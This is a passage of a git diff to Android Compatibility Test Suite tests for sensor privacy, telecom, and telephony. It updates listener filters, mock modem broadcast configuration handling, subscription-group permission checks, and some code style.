diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index ac1e9df..52feb93 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -230,7 +230,9 @@
         val latchEnabled = CountDownLatch(1)
         val listenerSensorEnabled = object : OnSensorPrivacyChangedListener {
             override fun onSensorPrivacyChanged(params: SensorPrivacyChangedParams) {
-                if (params.isEnabled && params.sensor == sensor) {
+                if (params.isEnabled &&
+                        params.sensor == sensor &&
+                        params.toggleType == TOGGLE_TYPE_SOFTWARE) {
                     latchEnabled.countDown()
                 }
             }
@@ -250,7 +252,9 @@
         val latchDisabled = CountDownLatch(1)
         val listenerSensorDisabled = object : OnSensorPrivacyChangedListener {
             override fun onSensorPrivacyChanged(params: SensorPrivacyChangedParams) {
-                if (!params.isEnabled && params.sensor == sensor) {
+                if (!params.isEnabled &&
+                        params.sensor == sensor &&
+                        params.toggleType == TOGGLE_TYPE_SOFTWARE) {
                     latchDisabled.countDown()
                 }
             }
diff --git a/tests/tests/simpleperf/Android.bp b/tests/tests/simpleperf/Android.bp
index fb405bf..d32ab9e 100644
--- a/tests/tests/simpleperf/Android.bp
+++ b/tests/tests/simpleperf/Android.bp
@@ -39,7 +39,11 @@
         "libopencsd_decoder",
         "libc++fs",
     ],
-    data: [":system-extras-simpleperf-testdata"],
+    per_testcase_directory: true,
+    data: [
+        ":CtsSimpleperfProfileableApp",
+        ":CtsSimpleperfDebuggableApp",
+        ":system-extras-simpleperf-testdata"],
     test_suites: [
         "cts",
         "general-tests",
diff --git a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
index 69d5e41..0905e57 100644
--- a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
@@ -73,6 +73,9 @@
         ResolveInfo resolveInfo = packageManager.resolveActivity(launcherIntent,
                 PackageManager.ResolveInfoFlags.of(PackageManager.MATCH_DEFAULT_ONLY));
         assumeFalse("Skipping test: can't get resolve info", resolveInfo == null);
+        assumeFalse("Skipping test: not supported on automotive yet",
+                packageManager.hasSystemFeature(
+                        PackageManager.FEATURE_AUTOMOTIVE));
         mLauncherPackage = resolveInfo.activityInfo.packageName;
     }
 
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
index 18a7bb3..e6de45e 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
@@ -29,7 +29,7 @@
     <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"/>
 
     <application android:label="ThirdPtyDialerTestApp">
-        <service android:name=".android.telecom.cts.thirdptydialer.CtsThirdPtyDialerInCallService"
+        <service android:name=".CtsThirdPtyDialerInCallService"
                  android:permission="android.permission.BIND_INCALL_SERVICE"
                  android:launchMode="singleInstance"
                  android:exported="true">
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
index b4e0511..173418b 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
@@ -29,7 +29,7 @@
     <uses-permission android:name="android.permission.CALL_COMPANION_APP"/>
 
     <application android:label="ThirdPtyDialerTestAppTwo">
-        <service android:name=".android.telecom.cts.thirdptydialertwo.CtsThirdPtyDialerInCallServiceTwo"
+        <service android:name=".CtsThirdPtyDialerInCallServiceTwo"
                  android:permission="android.permission.BIND_INCALL_SERVICE"
                  android:launchMode="singleInstance"
                  android:exported="true">
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
index 146cd7c..b3cdd6c 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
@@ -15,9 +15,10 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="android.telecom.cts.thirdptyincallservice"
-     android:versionCode="1"
-     android:versionName="1.0">
+          package="android.telecom.cts.thirdptyincallservice"
+          android:versionCode="1"
+          android:versionName="1.0"
+          android:sharedUserId="android.telecom.cts">
 
     <!-- sdk 15 is the max for read call log -->
     <uses-sdk android:minSdkVersion="15"/>
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
index 3e3a1b4..92e0a21 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
@@ -198,9 +198,13 @@
                 .asInterface(controlConn.getService());
         control.resetLatchForServiceBound(true /* bind */);
 
+        mUiAutomation.adoptShellPermissionIdentity("android.permission.CONTROL_INCALL_EXPERIENCE");
         SelfManagedConnection connection = placeAndVerifySelfManagedCall();
         control.checkBindStatus(true /* bindStatus */);
+        assertTrue(control.checkBindStatus(true /* bindStatus */));
+        connection.waitOnInCallServiceTrackingChanged();
         assertTrue(connection.isTracked());
+        mUiAutomation.dropShellPermissionIdentity();
 
         connection.disconnectAndDestroy();
         assertIsInCall(false);
@@ -219,14 +223,15 @@
                 DEFAULT_DIALER_INCALLSERVICE_2);
         ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
                 .asInterface(controlConn.getService());
-        assertTrue(setDefaultDialer(DEFAULT_DIALER_PKG_2));
+        TestUtils.setDefaultDialer(getInstrumentation(), DEFAULT_DIALER_PKG_2);
         control.resetLatchForServiceBound(true /* bind */);
 
         SelfManagedConnection connection = placeAndVerifySelfManagedCall();
-        control.checkBindStatus(true /* bindStatus */);
+        assertTrue(control.checkBindStatus(true /* bindStatus */));
 
         connection.waitOnInCallServiceTrackingChanged();
         assertTrue(connection.isAlternativeUiShowing());
+        mUiAutomation.dropShellPermissionIdentity();
 
         connection.disconnectAndDestroy();
         assertIsInCall(false);
diff --git a/tests/tests/telephony/current/mockmodem/Android.bp b/tests/tests/telephony/current/mockmodem/Android.bp
index 2804142..0e2a29a 100644
--- a/tests/tests/telephony/current/mockmodem/Android.bp
+++ b/tests/tests/telephony/current/mockmodem/Android.bp
@@ -23,6 +23,7 @@
         ":cts-telephony-utils",
     ],
     libs: [
+        "android-support-annotations",
     ],
     static_libs: [
         "androidx.test.rules",
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
index c135a3d..87a5235 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
@@ -23,14 +23,22 @@
 import android.hardware.radio.messaging.IRadioMessagingIndication;
 import android.hardware.radio.messaging.IRadioMessagingResponse;
 import android.os.RemoteException;
+import android.support.annotation.GuardedBy;
+import android.util.ArraySet;
 import android.util.Log;
 
+import java.util.Set;
+
 public class IRadioMessagingImpl extends IRadioMessaging.Stub {
     private static final String TAG = "MRMSG";
 
     private final MockModemService mService;
     private IRadioMessagingResponse mRadioMessagingResponse;
     private IRadioMessagingIndication mRadioMessagingIndication;
+    @GuardedBy("mGsmBroadcastConfigSet")
+    private final Set<Integer> mGsmBroadcastConfigSet = new ArraySet<Integer>();
+    @GuardedBy("mCdmaBroadcastConfigSet")
+    private final Set<Integer> mCdmaBroadcastConfigSet = new ArraySet<Integer>();
 
     public IRadioMessagingImpl(MockModemService service) {
         Log.d(TAG, "Instantiated");
@@ -244,7 +252,20 @@
             int serial, android.hardware.radio.messaging.CdmaBroadcastSmsConfigInfo[] configInfo) {
         Log.d(TAG, "setCdmaBroadcastConfig");
 
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        int error = RadioError.NONE;
+        if (configInfo == null || configInfo.length == 0) {
+            error = RadioError.INVALID_ARGUMENTS;
+        } else {
+            synchronized (mCdmaBroadcastConfigSet) {
+                mCdmaBroadcastConfigSet.clear();
+                for (int i = 0; i < configInfo.length; i++) {
+                    Log.d(TAG, "configInfo serviceCategory"
+                            + configInfo[i].serviceCategory);
+                    mCdmaBroadcastConfigSet.add(configInfo[i].serviceCategory);
+                }
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
         try {
             mRadioMessagingResponse.setCdmaBroadcastConfigResponse(rsp);
         } catch (RemoteException ex) {
@@ -269,7 +290,27 @@
             int serial, android.hardware.radio.messaging.GsmBroadcastSmsConfigInfo[] configInfo) {
         Log.d(TAG, "setGsmBroadcastConfig");
 
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        int error = RadioError.NONE;
+        if (configInfo == null || configInfo.length == 0) {
+            error = RadioError.INVALID_ARGUMENTS;
+        } else {
+            synchronized (mGsmBroadcastConfigSet) {
+                mGsmBroadcastConfigSet.clear();
+                for (int i = 0; i < configInfo.length; i++) {
+                    int startId = configInfo[i].fromServiceId;
+                    int endId = configInfo[i].toServiceId;
+                    boolean selected  = configInfo[i].selected;
+                    Log.d(TAG, "configInfo from: " + startId + ", to: " + endId
+                            + ", selected: " + selected);
+                    if (selected) {
+                        for (int j = startId; j <= endId; j++) {
+                            mGsmBroadcastConfigSet.add(j);
+                        }
+                    }
+                }
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
         try {
             mRadioMessagingResponse.setGsmBroadcastConfigResponse(rsp);
         } catch (RemoteException ex) {
@@ -425,4 +466,18 @@
     public int getInterfaceVersion() {
         return IRadioMessaging.VERSION;
     }
+
+    public Set<Integer> getGsmBroadcastConfigSet() {
+        synchronized (mGsmBroadcastConfigSet) {
+            Log.d(TAG, "getBroadcastConfigSet. " + mGsmBroadcastConfigSet);
+            return mGsmBroadcastConfigSet;
+        }
+    }
+
+    public Set<Integer> getCdmaBroadcastConfigSet() {
+        synchronized (mCdmaBroadcastConfigSet) {
+            Log.d(TAG, "getBroadcastConfigSet. " + mCdmaBroadcastConfigSet);
+            return mCdmaBroadcastConfigSet;
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
index 54a6300..772c7f8 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
@@ -25,6 +25,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import java.util.Set;
 import java.util.concurrent.TimeUnit;
 
 public class MockModemManager {
@@ -286,4 +287,22 @@
         waitForTelephonyFrameworkDone(1);
         return result;
     }
+
+    /**
+     * get GSM CellBroadcastConfig outputs from IRadioMessagingImpl
+     *
+     * @return Set of broadcast configs
+     */
+    public Set<Integer> getGsmBroadcastConfig() {
+        return mMockModemService.getIRadioMessaging().getGsmBroadcastConfigSet();
+    }
+
+    /**
+     * get CDMA CellBroadcastConfig outputs from IRadioMessagingImpl
+     *
+     * @return Set of broadcast configs
+     */
+    public Set<Integer> getCdmaBroadcastConfig() {
+        return mMockModemService.getIRadioMessaging().getCdmaBroadcastConfigSet();
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index 868e454..2c04e60 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -90,10 +90,10 @@
     // Maximum and minimum possible RSSI values(in dbm).
     private static final int MAX_RSSI = -10;
     private static final int MIN_RSSI = -150;
-    // Maximum and minimum possible RSSP values(in dbm).
+    // Maximum and minimum possible RSRP values(in dbm).
     private static final int MAX_RSRP = -44;
     private static final int MIN_RSRP = -140;
-    // Maximum and minimum possible RSSQ values.
+    // Maximum and minimum possible RSRQ values.
     private static final int MAX_RSRQ = -3;
     private static final int MIN_RSRQ = -35;
     // Maximum and minimum possible RSSNR values.
@@ -692,8 +692,9 @@
         assertTrue("getTac() out of range [0,65535], tac=" + tac,
                 (tac == CellInfo.UNAVAILABLE) || (tac >= 0 && tac <= TAC));
 
+        // Bandwidth ranges from 1400 to 20000
         int bw = lte.getBandwidth();
-        assertTrue("getBandwidth out of range [1400, 20000] | Integer.Max_Value, bw=",
+        assertTrue("getBandwidth out of range [1400, 20000] | Integer.Max_Value, bw=" + bw,
                 bw == CellInfo.UNAVAILABLE || bw >= BANDWIDTH_LOW && bw <= BANDWIDTH_HIGH);
 
         int earfcn = lte.getEarfcn();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 137a43b..e934b2a 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -33,6 +33,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.annotation.Nullable;
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -49,6 +50,7 @@
 import android.os.Looper;
 import android.os.ParcelUuid;
 import android.os.PersistableBundle;
+import android.os.Process;
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
@@ -678,10 +680,20 @@
                 (sm) -> sm.createSubscriptionGroup(subGroup));
 
         // Getting subscriptions in group.
-        List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
+        List<SubscriptionInfo> infoList;
+        try {
+            mSm.getSubscriptionsInGroup(uuid);
+            fail("SecurityException should be thrown without USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER");
+        } catch (SecurityException ex) {
+            // Expected
+        }
+
+        // has the READ_PRIVILEGED_PHONE_STATE permission
+        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getSubscriptionsInGroup(uuid), READ_PRIVILEGED_PHONE_STATE);
         assertNotNull(infoList);
         assertEquals(1, infoList.size());
-        assertNull(infoList.get(0).getGroupUuid());
+        assertEquals(uuid, infoList.get(0).getGroupUuid());
 
         infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
                 (sm) -> sm.getSubscriptionsInGroup(uuid));
@@ -698,30 +710,36 @@
         }
         availableInfoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
                 (sm) -> sm.getAvailableSubscriptionInfoList());
-        if (availableInfoList.size() > 1) {
-            List<Integer> availableSubGroup = availableInfoList.stream()
-                    .map(info -> info.getSubscriptionId())
-                    .filter(subId -> subId != mSubId)
-                    .collect(Collectors.toList());
+        // has the USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER permission
+        try {
+            setIdentifierAccess(true);
+            if (availableInfoList.size() > 1) {
+                List<Integer> availableSubGroup = availableInfoList.stream()
+                        .map(info -> info.getSubscriptionId())
+                        .filter(subId -> subId != mSubId)
+                        .collect(Collectors.toList());
 
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                        (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+
+                infoList = mSm.getSubscriptionsInGroup(uuid);
+                assertNotNull(infoList);
+                assertEquals(availableInfoList.size(), infoList.size());
+
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                        (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+            }
+
+            // Remove from subscription group with current sub Id.
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
-                    (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+                    (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
 
             infoList = mSm.getSubscriptionsInGroup(uuid);
             assertNotNull(infoList);
-            assertEquals(availableInfoList.size(), infoList.size());
-
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
-                    (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+            assertTrue(infoList.isEmpty());
+        } finally {
+            setIdentifierAccess(false);
         }
-
-        // Remove from subscription group with current sub Id.
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
-                (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
-
-        infoList = mSm.getSubscriptionsInGroup(uuid);
-        assertNotNull(infoList);
-        assertTrue(infoList.isEmpty());
     }
 
     @Test
@@ -733,23 +751,31 @@
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
                 (sm) -> sm.addSubscriptionsIntoGroup(subGroup, uuid));
 
-        // Getting subscriptions in group.
-        List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
-        assertNotNull(infoList);
-        assertEquals(1, infoList.size());
-        assertNull(infoList.get(0).getGroupUuid());
+        List<SubscriptionInfo> infoList;
+        try {
+            mSm.getSubscriptionsInGroup(uuid);
+            fail("SecurityException should be thrown without USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER");
+        } catch (SecurityException ex) {
+            // Expected
+        }
 
-        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
-                (sm) -> sm.getSubscriptionsInGroup(uuid));
-        assertNotNull(infoList);
-        assertEquals(1, infoList.size());
-        assertEquals(uuid, infoList.get(0).getGroupUuid());
+        // Getting subscriptions in group.
+        try {
+            setIdentifierAccess(true);
+            infoList = mSm.getSubscriptionsInGroup(uuid);
+            assertNotNull(infoList);
+            assertEquals(1, infoList.size());
+            assertEquals(uuid, infoList.get(0).getGroupUuid());
+        } finally {
+            setIdentifierAccess(false);
+        }
 
         // Remove from subscription group with current sub Id.
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
                 (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
 
-        infoList = mSm.getSubscriptionsInGroup(uuid);
+        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getSubscriptionsInGroup(uuid));
         assertNotNull(infoList);
         assertTrue(infoList.isEmpty());
     }
@@ -1459,4 +1485,13 @@
 
         return validCarrier && validNetworkType && validCapabilities;
     }
+
+    private void setIdentifierAccess(boolean allowed) {
+        String op = AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER;
+        AppOpsManager appOpsManager = InstrumentationRegistry.getContext().getSystemService(
+                AppOpsManager.class);
+        int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
index dbf81f2..fbcee8a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
@@ -18,9 +18,13 @@
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.PackageManager;
+import android.os.Build;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -34,6 +38,7 @@
 
     @Before
     public void setUp() {
+        assumeTrue(getVendorApiLevel() > Build.VERSION_CODES.S);
         mPackageManager = getContext().getPackageManager();
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 74b3022..dd684be 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -85,6 +85,7 @@
 import android.telephony.PinResult;
 import android.telephony.PreciseCallState;
 import android.telephony.RadioAccessFamily;
+import android.telephony.RadioAccessSpecifier;
 import android.telephony.ServiceState;
 import android.telephony.SignalStrength;
 import android.telephony.SignalStrengthUpdateRequest;
@@ -146,12 +147,10 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Consumer;
-import java.util.function.Predicate;
 import java.util.regex.Pattern;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
 
-
 /**
  * Build, install and run the tests by running the commands below:
  *  make cts -j64
@@ -317,32 +316,26 @@
                     TelephonyManager.NETWORK_TYPE_GPRS,
                     TelephonyManager.NETWORK_TYPE_EDGE}));
         sNetworkTypes.put(CellIdentityWcdma.class,
-                Arrays.asList(new Integer[]{
-                    TelephonyManager.NETWORK_TYPE_UMTS,
-                    TelephonyManager.NETWORK_TYPE_HSDPA,
-                    TelephonyManager.NETWORK_TYPE_HSUPA,
-                    TelephonyManager.NETWORK_TYPE_HSPA,
-                    TelephonyManager.NETWORK_TYPE_HSPAP}));
+                Arrays.asList(TelephonyManager.NETWORK_TYPE_UMTS,
+                        TelephonyManager.NETWORK_TYPE_HSDPA,
+                        TelephonyManager.NETWORK_TYPE_HSUPA,
+                        TelephonyManager.NETWORK_TYPE_HSPA,
+                        TelephonyManager.NETWORK_TYPE_HSPAP));
         sNetworkTypes.put(CellIdentityCdma.class,
-                Arrays.asList(new Integer[]{
-                    TelephonyManager.NETWORK_TYPE_CDMA,
-                    TelephonyManager.NETWORK_TYPE_1xRTT,
-                    TelephonyManager.NETWORK_TYPE_EVDO_0,
-                    TelephonyManager.NETWORK_TYPE_EVDO_A,
-                    TelephonyManager.NETWORK_TYPE_EVDO_B,
-                    TelephonyManager.NETWORK_TYPE_EHRPD}));
+                Arrays.asList(TelephonyManager.NETWORK_TYPE_CDMA,
+                        TelephonyManager.NETWORK_TYPE_1xRTT,
+                        TelephonyManager.NETWORK_TYPE_EVDO_0,
+                        TelephonyManager.NETWORK_TYPE_EVDO_A,
+                        TelephonyManager.NETWORK_TYPE_EVDO_B,
+                        TelephonyManager.NETWORK_TYPE_EHRPD));
         sNetworkTypes.put(CellIdentityLte.class,
-                Arrays.asList(new Integer[]{
-                    TelephonyManager.NETWORK_TYPE_LTE}));
+                Arrays.asList(TelephonyManager.NETWORK_TYPE_LTE));
         sNetworkTypes.put(CellIdentityNr.class,
-                Arrays.asList(new Integer[]{
-                    TelephonyManager.NETWORK_TYPE_NR}));
+                Arrays.asList(TelephonyManager.NETWORK_TYPE_NR));
         sNetworkTypes.put(CellIdentityTdscdma.class,
-                Arrays.asList(new Integer[]{
-                    TelephonyManager.NETWORK_TYPE_TD_SCDMA}));
+                Arrays.asList(TelephonyManager.NETWORK_TYPE_TD_SCDMA));
     }
 
-
     private int mTestSub;
     private TelephonyManagerTest.CarrierConfigReceiver mReceiver;
     private int mRadioVersion;
@@ -428,28 +421,20 @@
             mAllowedNetworkTypesList = new HashMap<>();
         }
         long allowedNetworkTypesUser = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> {
-                    return tm.getAllowedNetworkTypesForReason(
-                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER);
-                }
+                mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+                        TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER)
         );
         long allowedNetworkTypesPower = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> {
-                    return tm.getAllowedNetworkTypesForReason(
-                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
-                }
+                mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+                        TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER)
         );
         long allowedNetworkTypesCarrier = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> {
-                    return tm.getAllowedNetworkTypesForReason(
-                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
-                }
+                mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+                        TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER)
         );
         long allowedNetworkTypesEnable2g = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> {
-                    return tm.getAllowedNetworkTypesForReason(
-                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
-                }
+                mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+                        TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G)
         );
         mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER,
                 allowedNetworkTypesUser);
@@ -599,27 +584,25 @@
 
         grantLocationPermissions();
 
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onCellLocationChanged(CellLocation location) {
-                        if(!mOnCellLocationChangedCalled) {
-                            synchronized (mLock) {
-                                mOnCellLocationChangedCalled = true;
-                                mLock.notify();
-                            }
+        TestThread t = new TestThread(() -> {
+            Looper.prepare();
+            mListener = new PhoneStateListener() {
+                @Override
+                public void onCellLocationChanged(CellLocation location) {
+                    if (!mOnCellLocationChangedCalled) {
+                        synchronized (mLock) {
+                            mOnCellLocationChangedCalled = true;
+                            mLock.notify();
                         }
                     }
-                };
-
-                synchronized (mLock) {
-                    mLock.notify(); // mListener is ready
                 }
+            };
 
-                Looper.loop();
+            synchronized (mLock) {
+                mLock.notify(); // mListener is ready
             }
+
+            Looper.loop();
         });
 
         synchronized (mLock) {
@@ -1276,6 +1259,20 @@
     public void testSetSystemSelectionChannels() {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
 
+        List<RadioAccessSpecifier> channels = Collections.emptyList();
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            channels = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, TelephonyManager::getSystemSelectionChannels);
+            if (channels.isEmpty()) {
+                // TODO (b/189255895): Throw an error once getSystemSelectionChannels is functional.
+                Log.e(TAG, "getSystemChannels not implemented on IRadio 1.6+.");
+            }
+        }
+        if (channels.isEmpty()) {
+            Log.d(TAG, "Skipping test since system selection channels are not available.");
+            return;
+        }
+
         LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
         final UiAutomation uiAutomation =
                 InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -1288,10 +1285,7 @@
             Boolean result = queue.poll(1000, TimeUnit.MILLISECONDS);
             // Ensure we get a result
             assertNotNull(result);
-            // Only verify the result for supported devices on IRadio 1.3+
-            if (mRadioVersion >= RADIO_HAL_VERSION_1_3) {
-                assertTrue(result);
-            }
+            assertTrue(result);
         } catch (InterruptedException e) {
             fail("interrupted");
         } finally {
@@ -1303,16 +1297,15 @@
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                 tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
 
-        // TODO (b/189255895): Uncomment once getSystemSelection channels is functional in S QPR
-        /**
-        // getSystemSelectionChannels was added in IRadio 1.6, so ensure it returns
-        // the value that was set by setSystemSelectionChannels.
-        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
-            assertEquals(Collections.emptyList(),
-                    ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    TelephonyManager::getSystemSelectionChannels));
-        }
-         **/
+        // Assert that we get back the value we set.
+        assertEquals(Collections.emptyList(),
+                ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                TelephonyManager::getSystemSelectionChannels));
+
+        // Reset the values back to the original.
+        List<RadioAccessSpecifier> finalChannels = channels;
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tp -> tp.setSystemSelectionChannels(finalChannels));
     }
 
     @Test
@@ -1439,22 +1432,20 @@
             return;
         }
 
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
+        TestThread t = new TestThread(() -> {
+            Looper.prepare();
 
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onServiceStateChanged(ServiceState serviceState) {
-                        synchronized (mLock) {
-                            mServiceState = serviceState;
-                            mLock.notify();
-                        }
+            mListener = new PhoneStateListener() {
+                @Override
+                public void onServiceStateChanged(ServiceState serviceState) {
+                    synchronized (mLock) {
+                        mServiceState = serviceState;
+                        mLock.notify();
                     }
-                };
